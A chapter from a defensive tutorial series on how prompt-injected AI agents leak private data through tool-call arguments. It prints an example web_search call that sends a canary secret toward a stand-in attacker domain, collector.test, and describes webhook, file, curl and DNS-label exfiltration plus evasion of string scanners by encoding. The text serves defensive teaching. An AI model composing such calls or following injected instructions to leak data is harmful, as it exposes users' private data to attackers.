Chapter 4 of 7 · 15 min read
The tool-argument channel
Assume you win every argument in the last three chapters. The renderer emits
plain text: no images, no links, no HTML, no SVG. There is nothing for a browser
to fetch, no <img> to fire on render, no <a> to click. A security review signs
off on the rendering path. The exfiltration continues, through requests the agent
issues itself.
A tool call is the mechanism: the model emits a structured request naming a tool and its arguments, and the agent runtime — the code around the model that reads that request, runs the corresponding function and feeds the result back — carries it out. The arguments are the interesting part. They are values the model composed, and for many tools at least one of them has to be free text, because the tool's job is to accept arbitrary text. That value then leaves your network, because leaving is what the tool does.
Being concrete about that loop matters, since the leak happens at a specific line in it rather than in the general idea of tools. Before the model is called at all, your runtime sends it a list of tool definitions: for each tool a name, a description of when to use it, and a schema saying which arguments it takes and of what type. The model runs nothing. What it can do is emit a block of output that your runtime recognises as a call — a tool name and a JSON object of arguments — at which point the runtime stops generating, parses that object, validates it against the schema, calls the matching function in your own codebase with those values, and appends whatever the function returned to the conversation so the model can carry on. Every network request in that sequence is issued by your code. The model's whole contribution is a string that your code decided to treat as instructions to itself, which is the relationship the renderer had with the model in the first chapter, moved from the browser to the server.
The schema is where a reader expects the protection to live, and seeing exactly
why it does not is what makes the rest of this chapter follow. A search tool's
definition says something like "query": {"type": "string"}, perhaps with a
maximum length. A schema constrains the shape of a value: its type, its
length, whether it belongs to an enumerated set. It has no vocabulary at all for
where the value came from or what it means. So "quarterly vendor pricing" and
"quarterly vendor pricing sk-test-CANARY-8f21 site:collector.test" are both
strings, both inside any length limit anybody would set, and both entirely valid
instances of the same schema. Validation passes because the payload was never a
schema violation in the first place.
The move the attacker made is to stop asking the model to display a URL and
start asking it to call a tool with the secret in a parameter. A model that can
search the web has a web_search tool; the attacker instructs it to search for a
string that includes a canary — a unique string planted in private data so that
its appearance anywhere else proves the data escaped. A model that can post to a
webhook has the canary go in the body. A model that can write a file has it go in
the path or the contents. None of those is markdown, so none of them touches a
renderer, and every renderer control you built inspects markdown. The outbound
boundary moved, and your defences did not move with it.
The request the agent makes itself
Here is the shape of it, using a search tool because it is the most common and the least suspicious.
{
"tool_calls": [
{
"name": "web_search",
"arguments": {
"query": "quarterly vendor pricing sk-test-CANARY-8f21 site:collector.test"
}
}
]
}Read it field by field, because there is nothing in it that looks wrong.
tool_calls is the list the runtime scans for work to do. name selects which
of your functions gets called, and web_search is a tool you deliberately gave
the agent. arguments is the object handed to that function, and query holds
one string. Inside the string sit three parts with three different origins: a
plausible search phrase to make the call look ordinary, the canary, and a
site: operator restricting results to a domain the attacker registered. Only a
reader who already knows the canary can tell that this call is anything other
than an agent searching the web.
Look at what your infrastructure does with that. The agent runtime takes the
query argument and hands it to your search tool, which makes an HTTPS request to
a third-party search API, which logs the query, runs it, and — because the query
contains a rare unique string — the attacker can find it. They do not even need
control of the search provider. They register collector.test, wait for the
crawler or the search index to see a page they seeded with the canary, and search
their own provider for sk-test-CANARY-8f21 to see whether it has been queried;
or, more directly, they operate a site the search tool will contact and read the
canary out of the query the provider forwards. The unique string is the whole
trick: it is guaranteed not to collide with anything else, so any appearance of it
anywhere is a signal that the exfiltration worked.
Those two routes are not equally dependable, and saying which is which is more
useful than presenting the channel as uniformly easy. Reading a canary back out
of a provider's index depends on behaviour of that provider you neither control
nor can inspect, so it is opportunistic. The route that depends on nobody's
cooperation is the one where the query has to touch a machine the attacker owns
for the search to be carried out at all — the site:collector.test filter in
the payload above names their domain, and a tool or provider that resolves,
fetches or previews the sites behind a result set contacts them by doing its
job. The general form is worth keeping and the guarantee is not: a free-text
argument handed to a third party becomes an exit whenever any part of that third
party's processing reaches infrastructure the attacker can stand up, and the
attacker is the one choosing the string that decides which infrastructure that
is.
The unique string, meanwhile, is what makes the whole exercise observable to you as well as to them, which is why the same trick appears on both sides of this topic. The attacker plants it so that the leak is legible; you plant it so that the leak is testable.
The reason this slips past everything is structural. A rendered image is a request your client makes, and the client is yours to constrain. A tool-call argument is a request the agent makes as part of doing its job, and the argument is free text the model composed, potentially from anything in its context — including a private record. Nothing between the model and the search API is looking at why the canary is in the query, because from the tool's perspective a search query is just a search query. The tool did exactly what it exists to do. The private data rode along in a field designed to hold arbitrary text.
It helps to put the two channel families side by side, because the controls that worked on the left column simply do not have a place to attach on the right.
| Rendered channel (chapters 1–3) | Tool-argument channel | |
|---|---|---|
| Who issues the outbound request | the browser / renderer | the agent runtime, calling a tool |
| What the payload rides in | an image or link URL | a query, a webhook body, a file path |
| What inspects it before it leaves | the renderer, sanitiser, host allowlist | nothing, by default |
| Does a user act | image no, link yes | no |
| Where the control would go | rendering policy | the tool boundary itself |
| Does blocking images/links help | yes | not at all |
The last row is what the shallow reading misses. A team that has done excellent work locking down rendering can believe it has closed exfiltration, because it closed the channel it could see. The tool channel was never behind the renderer.
Search is only the most convenient sink, not the only one, and the same mechanism
reappears wherever a tool argument is both attacker-influenceable and
outbound-reaching. A webhook tool posts the canary in a JSON body to an endpoint
the model named. A file-write tool puts it in a path or the contents of a file
that syncs to a share the attacker can read. A calendar tool writes it into an
invite that emails an external address. A code-execution tool runs curl with the
canary in the URL. Even a tool with no obvious network reach can leak through DNS,
the Domain Name System, which is the lookup service that turns a hostname into an
address before any connection is made: an argument that becomes a hostname lookup
— resolving sk-test-CANARY-8f21.collector.test — carries the canary to the
machine that answers for collector.test, which is the attacker's own server, and
DNS is the one protocol almost nothing blocks egress on.
The DNS case repays working through slowly, because it is the least intuitive
member of the family and the hardest to shut. Resolving a name is a walk down it
from the right: something has to establish which servers are authoritative for
collector.test, and then ask one of those servers about the full name. If the
attacker registered collector.test, they run the server that receives that
question — and the question contains the entire name, including whichever label
the secret was written into. So the canary is delivered as a side effect of
finding out where to connect, and the connection itself never has to succeed. A
refused connection, a host that does not exist, a firewall that drops the packet:
each of those happens strictly after the name has already been asked about, so
each of them is a defence that arrives too late by construction.
Two properties make this awkward to fence off at the network. Applications cannot reach anything without name resolution, so DNS is permitted by construction rather than by anybody's decision. And the query leaves through your own resolver, which then forwards it onward on your behalf, so at the point an egress rule looks, what it sees is your resolver doing exactly what your resolver always does. A hostname is also a series of labels separated by dots, each of them individually bounded in length, so a secret too long to fit in one label is simply split across several and reassembled by the attacker from the query they receive.
The common factor is not the protocol but the shape: the model composes a field, the field can hold the canary, and the field's value leaves for somewhere observable. Enumerating tools by "does it obviously call the network" misses the file-write and the DNS cases, which is why the framing is about arguments and not about a list of networking tools.
What a contract does and does not buy
A data-processing agreement is not worthless, and it is worth being precise about what it covers so the fix is not dismissed and not overrated. A contract governs what a party you have a relationship with may do with data it lawfully receives: retention limits, no training on your data, breach notification, deletion on request. If your search provider is going to hold query logs, you want those terms, and swapping to a provider with better terms is a reasonable thing to do for reasons of compliance and blast radius. A stricter contract binds the provider not to misuse what it receives, and it does nothing about the fact that the attacker put the canary into a query specifically so they could go looking for it. What the contract cannot do is prevent the attacker from reading the canary, because the attacker is not a party to the contract and is not receiving the data from the provider — they are observing it by the mechanism they built into the payload. The data went to a destination they can watch, and no clause the provider signs changes who can watch a search index for a string they invented. And the next channel has no third party to have a contract with at all: a webhook the agent posts to, a file it writes to a share, an outbound request to a URL the model chose.
There is a tempting middle proposal worth heading off, which is to scan outbound
tool arguments for the secret and block any that contain it. Against a canary that
appears verbatim it works, and it is worth having as a tripwire, but it is not the
control it looks like, because the attacker chooses the encoding. The same
instruction that put sk-test-CANARY-8f21 in a query can put its base64, its hex,
its reversed form, or a sentence that paraphrases a private fact without quoting
it, and a string scanner sees none of those. Content matching answers "did this
exact known string leave," which is a fine question for a detection rule and the
wrong question for a control, because the value you most want to stop leaking is
the one you did not know to scan for. The control has to be about provenance —
where the argument's content came from — rather than about the content itself,
which is why the earlier chapters' value-checking does not port over and the next
chapter starts from source instead.
That leaves an obvious question the tool channel forces and the rendering chapters never had to answer. A rendered URL could be validated against an allowlist because a URL has a host you can check. A search query is free text with no host, no scheme, no structure to validate against, and default-deny egress — a network policy that permits outbound connections only to destinations on a list — waves it through, because the search API is exactly the allowlisted destination you meant to permit. An egress policy decides where a connection may go, and the connection here is going exactly where it should; what it carries is invisible at that layer, which is the same blind spot the host allowlist had one chapter ago, relocated from the browser to the network.
"Invisible at that layer" has a mechanism behind it that is worth naming, since a reader may reasonably ask why an appliance sitting directly in the path cannot just read the query and object to it. An egress policy decides from addresses and ports, and from the hostname the client announces in the clear during the TLS handshake before encryption starts. Everything after that handshake — the request line, the headers, the query string with the canary in it — is encrypted between your tool and the search API, and encrypted specifically so that whatever sits between them cannot read it. A device in the middle can see that a connection to an approved destination happened and roughly how much data went each way. Reading the argument requires being one of the two ends of that connection, which is exactly what the proxy in the next chapter has to become, and exactly why that proxy is a heavier piece of infrastructure than the word suggests.
Whose boundary failed is therefore a question with a precise answer here, and it is not the network's. The network enforced the rule it was given, faithfully, and the rule was about destinations at a layer where the payload is by design unreadable.
The controls that worked on rendered content have nothing to grip here, and the reason is worth carrying into the next chapter. Every one of them inspected a value: this scheme, this host, this markup. A free-text argument is permitted by construction, so inspecting the value can only ever ask whether it looks dangerous, which is a question with no answer for a string that is allowed to be anything. What actually constrains a tool argument is a different kind of control, aimed not at the value but at where the value is allowed to come from, and that is what the next chapter builds.
Data exfiltration channels — read the current version at https://daviddominguez.dev/learn/en/data-exfiltration-channels/the-tool-argument-channel